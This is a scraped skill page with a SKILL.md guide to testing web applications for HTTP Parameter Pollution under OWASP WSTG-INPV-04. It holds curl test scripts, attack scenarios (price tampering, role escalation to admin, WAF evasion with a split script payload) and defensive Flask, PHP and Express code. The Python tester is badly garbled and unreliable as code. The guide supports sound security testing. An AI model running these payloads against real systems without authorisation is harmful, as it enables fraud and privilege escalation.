用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-04命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | wstg-inpv-04 |
| description | Testing for HTTP Parameter Pollution (HPP) |
| category | input-validation |
| owasp_id | WSTG-INPV-04 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | ["php","asp","jsp"] |
| cwe_ids | ["CWE-94"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-04
Testing for HTTP Parameter Pollution (HPP)
HTTP Parameter Pollution (HPP) occurs when an application doesn't properly handle multiple parameters with the same name. Different web servers and frameworks handle duplicate parameters differently, which can lead to bypassing input validation, WAF evasion, or logic manipulation.
#!/bin/bash
TARGET="https://target.com"
# Test duplicate parameters
echo "[*] Testing duplicate parameter handling..."
# Same parameter multiple times in query string
curl -s "$TARGET/search?q=test1&q=test2" | head -20
# Parameter in both query string and body
curl -s -X POST "$TARGET/search?q=query_value" -d "q=body_value" | head -20
# URL encoded duplicates
curl -s "$TARGET/search?q=test1&q=test2&q=test3"
# Different encodings
curl -s "$TARGET/search?q=test&%71=polluted" # %71 = q
#!/usr/bin/env python3
"""
HTTP Parameter Pollution Tester
"""
requests
urllib.parse urlencode, quote
:
():
.base_url = base_url
.findings = []
.session = requests.Session()
SERVER_BEHAVIORS = {
: ,
: ,
: ,
: ,
: ,
: ,
: ,
}
():
()
url =
test_url =
response = .session.get(test_url)
()
()
response.text response.text:
()
response.text response.text:
response.text:
()
response.text response.text:
()
response.text response.text:
()
():
()
test_cases = [
,
,
,
,
,
]
test_url test_cases:
url =
response = .session.get(url)
response.status_code == :
response.text.lower() response.text.lower():
()
.findings.append({
: ,
: test_url,
: ,
:
})
():
()
payloads = [
(, ),
(, ),
(, ),
]
payload, description payloads:
url =
response = .session.get(url)
response.status_code == :
()
.findings.append({
: ,
: payload,
: description,
:
})
:
()
():
()
business_params = [
(, , ),
(, , ),
(, , ),
(, , ),
(, , ),
(, , ),
]
param, normal_val, malicious_val business_params:
url1 =
url2 =
url [url1, url2]:
:
response = .session.get(url)
response.status_code == :
()
:
():
()
payloads = [
,
,
,
]
payload payloads:
url =
response = .session.get(url)
()
():
()
variations = [
(, ),
(, ),
(, ),
(, ),
(, ),
(, ),
(, ),
(, ),
]
base_url =
variant, description variations:
url =
response = .session.get(url)
()
():
( + *)
()
(*)
()
server, behavior .SERVER_BEHAVIORS.items():
()
.findings:
()
f .findings:
()
f:
()
f:
()
f:
()
()
():
.test_duplicate_params(endpoint, param)
.test_auth_bypass(endpoint)
.test_waf_bypass(endpoint, param)
.test_business_logic()
.test_client_side_hpp(endpoint)
.test_encoding_variations(endpoint, param)
.generate_report()
tester = HPPTester()
tester.run_tests()
#!/bin/bash
# Test parameter handling by server type
TARGET="https://target.com/page"
echo "=== HPP Server Behavior Tests ==="
# Test 1: Basic duplicate parameters
echo -e "\n[Test 1] Basic duplicate: ?id=1&id=2"
curl -s "$TARGET?id=1&id=2" | grep -oP 'id["\s:=]+\K[^"&\s,<]+' | head -5
# Test 2: URL encoded duplicate
echo -e "\n[Test 2] URL encoded: ?id=1&%69%64=2"
curl -s "$TARGET?id=1&%69%64=2" | grep -oP 'id["\s:=]+\K[^"&\s,<]+' | head -5
# Test 3: Array notation (PHP)
echo -e "\n[Test 3] Array notation: ?id[]=1&id[]=2"
curl -s "$TARGET?id[]=1&id[]=2" | grep -oP 'id["\s:=]+\K[^"&\s,<]+' | head -5
# Test 4: POST body vs query string
echo -e "\n[Test 4] Query vs Body: ?id=query with POST id=body"
curl -s -X POST "$TARGET?id=query" -d "id=body" | grep -oP 'id["\s:=]+\K[^"&\s,<]+' | head -5
# Test 5: JSON body pollution
echo -e "\n[Test 5] JSON with duplicate keys"
curl -s -X POST "$TARGET" \
-H "Content-Type: application/json" \
-d '{"id":"1","id":"2"}' | head -20
# Scenario 1: Vote manipulation
# Original: /vote?poll_id=1&choice=A
# Attack: /vote?poll_id=1&choice=A&choice=B&choice=C
# If server processes all choices, attacker votes multiple times
# Scenario 2: Price manipulation
# Original: /checkout?item=123&price=100
# Attack: /checkout?item=123&price=100&price=1
# If server uses last price value, attacker pays less
# Scenario 3: Access control bypass
# Original: /api/user?id=123&role=user
# Attack: /api/user?id=123&role=user&role=admin
# If server uses last role value, attacker escalates privileges
# Scenario 4: WAF evasion
# WAF blocks: <script>alert(1)</script>
# Attack: /page?input=<script>&input=alert(1)</script>
# Server concatenates: <script>alert(1)</script> (bypasses WAF)
| Tool | Purpose |
|---|---|
| Burp Suite | Parameter manipulation |
| ParamMiner | Parameter discovery |
| Arjun | Hidden parameter finder |
| curl | Manual testing |
# Python/Flask - Handle duplicate parameters explicitly
from flask import Flask, request
app = Flask(__name__)
@app.route('/api/action')
def handle_action():
# Get only the first value
param = request.args.get('param') # First value only
# Or explicitly handle multiple values
all_values = request.args.getlist('param')
if len(all_values) > 1:
# Log potential HPP attempt
app.logger.warning(f"Multiple values for param: {all_values}")
# Use only the first or reject
return "Invalid request", 400
return process_param(param)
<?php
// PHP - Explicitly handle parameters
// By default, PHP uses the last value
// Get all values
$values = $_GET;
// Check for array parameters
if (is_array($_GET['param'])) {
// Handle array or reject
error_log("HPP attempt detected");
http_response_code(400);
exit("Invalid request");
}
// Use the expected single value
$param = $_GET['param'];
?>
// Node.js/Express - Handle duplicates
app.get("/api/action", (req, res) => {
const param = req.query.param
// Express returns array for duplicates
if (Array.isArray(param)) {
console.warn("HPP attempt:", param)
return res.status(400).send("Invalid request")
}
// Process single value
processParam(param)
})
| Finding | CVSS | Severity |
|---|---|---|
| HPP leading to auth bypass | 8.1 | High |
| HPP price/quantity manipulation | 7.5 | High |
| HPP WAF bypass | 6.5 | Medium |
| HPP logic manipulation | 5.5 | Medium |
| CWE ID | Title |
|---|---|
| CWE-235 | Improper Handling of Extra Parameters |
[ ] Duplicate parameter behavior tested
[ ] Server parameter precedence identified
[ ] Authentication bypass tested
[ ] Authorization bypass tested
[ ] WAF bypass tested
[ ] Business logic impact tested
[ ] Encoding variations tested
[ ] Findings documented